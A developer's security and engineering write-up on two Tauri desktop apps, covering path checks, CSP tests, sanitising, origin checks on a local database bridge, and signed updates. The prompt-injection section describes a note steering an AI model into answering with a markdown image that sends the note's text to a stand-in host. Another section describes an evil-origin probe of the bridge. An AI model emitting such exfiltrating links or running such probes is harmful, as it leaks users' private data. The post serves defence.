Technical guide · 13 October 2026 · 7 min read

Local-first desktop software in Tauri: what Rust has to own

How to keep a Tauri app's data on disk, its secrets in the keychain and every network call listed, using two real apps.

One failing test caught Inkwell's startup making 146 file calls on the vault folder: a write for each of the 73 demo notes, and 73 deletes.

Inkwell starts with a demo vault in memory, then reads your folder from disk. The test edited a demo note between the two, and the sync wrote to the vault folder before the disk read finished. Inkwell (Markdown research notes) and MamaSQL (a SQL workbench) are my two Tauri apps. This is what broke in them and what Rust owns.

Nothing touches the folder until it has been read

If the sync runs in that gap, it treats the demo notes as yours. Before the fix, that meant 146 file calls, 73 demo-note writes and 73 deletes. Now src/vault/sync.ts has a gate:

    // nothing is written until a disk vault has actually been read: before that the notes in
    // memory are the demo vault, which must never land in (or delete from) the user's folder
    if (!s.loadedVault) {
      syncedPath = null;
      return;
    }

The same file remembers what it last wrote or read for every note. When the watcher fires and disk matches that record, it’s our own echo and gets skipped. If another app changed a note while you have unsaved edits, your text stays and theirs goes into the note’s History. Write-outs and re-reads share one promise queue, so a re-read never sees a half-done write.

Closing the window could still lose an edit. Tauri awaits onCloseRequested, so Inkwell flushes pending edits there, capped at 3 seconds so a stuck disk can’t hold the window open. That needed core:window:allow-destroy in the capability file. In a release-build check, a word typed 50 ms before clicking X was on disk after the process exited, and Alt+F4 behaved the same.

A save is a temp file and a rename

Inkwell never saves a note in place. It writes .Ideas.md.inkwell-tmp beside the file and renames it over Ideas.md, so a crash leaves the old note whole. The vault is a plain folder of .md files, Rust does every write to it, and the whole save path is in src-tauri/src/lib.rs:

    let name = full.file_name().ok_or("No file name")?.to_string_lossy().to_string();
    let tmp = full.with_file_name(format!(".{name}.inkwell-tmp"));
    fs::write(&tmp, content).map_err(|e| e.to_string())?;
    if fs::rename(&tmp, &full).is_err() {
        // e.g. another app holds the note open without delete-sharing (Windows): save in place
        let _ = fs::remove_file(&tmp);
        fs::write(&full, content).map_err(|e| e.to_string())?;
    }

The temp name starts with a dot and doesn’t end in .md, so neither the vault reader nor the file watcher ever sees it. The fallback is a choice: when Windows refuses the rename, I’d rather save in place than drop the edit. Deletes go through the trash crate, so a deleted note lands in the Recycle Bin. Renames refuse to replace an existing file, because fs::rename overwrites on Windows. Backups are zips in the app’s config folder, written under a temp name and renamed when complete, newest 14 kept per vault, and a restore goes into a new folder next to the vault.

Rust owns the paths, the vault root and the keys

Every note path from the webview goes through resolve_rel before Rust opens anything:

    for c in rel_path.components() {
        match c {
            Component::Normal(_) => parts += 1,
            Component::CurDir => {}
            _ => return Err(format!("Path leaves the vault: {rel}")),
        }
    }

It also refuses drive letters, UNC-style prefixes and anything that isn’t .md. Once the parent folder exists, check_parent_inside canonicalizes it and checks it still sits under the root, which catches junction and symlink escapes. The root never comes from JS: Rust shows the folder picker and keeps the choice in vault-path.txt.

Secrets live in Windows Credential Manager in both apps, through the keyring crate. Inkwell’s AI keys sit under com.fizzexual.inkwell.ai, and the provider id must match [a-z0-9-]{1,32} before it names a credential, since it comes from JS. MamaSQL keys database passwords by connection id; its mamasql.db holds profiles and query history, no passwords.

Rust also owns MamaSQL’s database sockets, and a pool default bit me there. Connections were pools of up to five, so BEGIN and the next INSERT could land on different sessions and the ROLLBACK undid nothing. The failing test was a rolled-back insert that was still present on PostgreSQL 16, MySQL 8.4 and MariaDB 11. Each open connection is now one session with max_connections(1), idle_timeout(None) and max_lifetime(None). The cost: schema browsing waits while a long query runs.

The CSP is the list of what goes online

Inkwell’s README has a section called What goes online. It covers DOI and arXiv lookups, update checks, web clipping, a cloud AI provider if you add its key, and a ~580 MB offline chat model that downloads once when you click for it. Semantic search, related notes and transcription run on bundled models and stay on the machine. The CSP in tauri.conf.json is what actually enforces that list, and a test in src/csp.test.ts fails if anyone loosens it:

  it("runs only the app's own scripts (+ WebAssembly): no CDN, no blob: scripts", () => {
    expect(sources("script-src")).toEqual(["'self'", "'wasm-unsafe-eval'"]);
  });
...
    expect(connect).not.toContain("huggingface.co");

In the release build, a fetch to evil.example.net died as a connect-src violation. arXiv’s export API sends no CORS headers, so that lookup moved into a Rust command that accepts only characters an arXiv id can hold. The web clipper runs in Rust too: http(s) only, at most five redirects, each re-checked, and a resolver that refuses any name pointing at a private or loopback address, so a DNS rebind between check and connect can’t reach the LAN.

MamaSQL still ships "csp": null. Its capability file grants only core:default and opener:default, but a webview with no CSP is the gap I’d close first.

Notes, clips and AI answers are untrusted HTML

A note can come from a web clip, an importer or a model, and the page rendering it can call Rust file commands. So every HTML sink in Inkwell goes through one function in src/sanitize.ts:

export function sanitizeHtml(html: string): string {
  return DOMPurify.sanitize(html, {
    FORBID_TAGS: ["style", "form", "iframe", "frame", "object", "embed", "base", "meta", "link"],
    FORBID_ATTR: ["formaction", "srcdoc"],
  });
}

Links have their own guard in src/links.ts. A capture-phase click handler sends http, https and mailto to the system browser and swallows javascript:, file:, relative paths and custom schemes, so a note never navigates the app window.

The latest security fix came from prompt injection. A note could make a model answer with ![x](https://evil/?d=<note text>), and the image request alone would leak the note. The CSP couldn’t catch that, because its img-src allows https:. Every <img> in a rendered answer is now a plain link that goes nowhere until you click it.

MamaSQL’s browser build: a Node bridge, no Rust

MamaSQL also runs in a browser, and that build has no Rust. A browser can’t open raw TCP, so it reaches PostgreSQL and MySQL through server/bridge.mjs, a Node process that also keeps server-side SQLite files. In review it listened on 0.0.0.0 with Access-Control-Allow-Origin: *. A request with Origin: https://evil.example opened a connection, ran select current_user, version() and got rows back. Any site open in your browser could have done that. The bridge now checks every request:

function allowedOrigin(req) {
  const host = hostnameOf(req.headers.host || "");
  // Outside Docker the bridge is localhost-only; a foreign Host name means DNS
  // rebinding (evil.example resolved to 127.0.0.1).
  if (!IN_DOCKER && !LOOPBACK.has(host)) return null;
  ...
  if (LOOPBACK.has(from) || (IN_DOCKER && from === host)) return origin;
  return null;
}

Outside Docker it binds to 127.0.0.1. The same evil-origin probe now gets a 403 with {"kind":"forbidden"}. For server installs the README points at BIND_ADDR, because ufw doesn’t filter a published Docker port.

The SQLite files had a quieter bug: the bridge decided when to save them by reading the SQL text. A WITH … INSERT was never persisted, writes after a BEGIN; …; COMMIT; stayed in memory, and a bridge restart emptied the table. Now changeStamp asks SQLite for total_changes(), schema_version and user_version, and saveIfChanged writes the file only when that stamp moved and no transaction is open. sql.js has no autocommit getter, so inTransaction runs BEGIN and treats failure as the answer. The save itself is the same temp-and-rename move as Inkwell’s.

Fast at 5,000 notes, measured

Inkwell has no server to blame for a slow keystroke, so I benchmark the editor itself. npm run bench loads 5,000 generated notes plus three 20,000-word ones. Rebuilding the link graph, tree and citations for every note cost about 485 ms per keystroke, and re-rendering every open pane and live-editor block cost about 2.5 s. Incremental derive plus render caching took a keystroke from 2.5–3.8 s to about 0.1 s. Related-notes lookups dropped from 534 ms to about 2 ms with a warm index, and search now draws 100 hits at a time.

Signed updates, unsigned installer

Inkwell ships a per-user NSIS installer with no admin prompt. It has no Authenticode signature: Azure Trusted Signing takes individual developers only in the US or Canada, and I decided an open-source app doesn’t need a paid certificate. SmartScreen can warn, and the release page lists the installer’s SHA-256.

MamaSQL took the lighter route. CI builds a standalone MamaSQL.exe on every push to main, stamps it 0.1.<run number> and publishes it as the latest release, with opt-level = "z", LTO and strip keeping it small. No installer, no updater.

Inkwell’s updates don’t rely on Authenticode. The app fetches latest.json 10 seconds after launch, installs nothing until you click Install & restart, and refuses an installer whose signature doesn’t match the minisign public key in tauri.conf.json. That flow passed locally from 0.1.0 to 0.1.1, and v0.2.0 is the first release, so no install can update from it until v0.2.1 exists. The matching private key lives outside the repo. If I lose it, no update can ship, and every install stays on the version it already has.